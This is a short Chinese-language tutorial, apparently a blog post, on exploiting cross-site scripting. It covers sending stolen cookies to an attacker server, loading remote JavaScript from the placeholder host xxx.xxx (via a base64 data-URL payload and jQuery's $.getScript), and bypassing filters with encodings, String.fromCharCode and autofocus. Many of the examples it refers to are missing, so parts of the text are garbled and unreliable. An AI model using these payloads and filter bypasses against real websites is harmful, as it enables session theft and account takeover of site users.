在早期 , 对于xss我们是这样利用的
将 cookie之类的数据传递到自己的服务端
但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。一个简单的例子
这样更为简洁
src属性会自己取当前页面的协议。
过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js
不要忘记 autofocus无须交互即可执行js。
过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章
http://drops.wooyun.org/tips/689
或者用String.fromCharCode 函数转换成 asc码
但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值一个经典的例子我们也可以用data url 来加载。
PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是
的base64值。
支持data url 的标签还有、 (需点击) .....
需注意的是
里的 data url 是不允许执行js的。
还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对标签的src设置data URL
有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)我们直接这样调用就可以了$.getScript("//xxx.xxx/a.js");
实践出真理!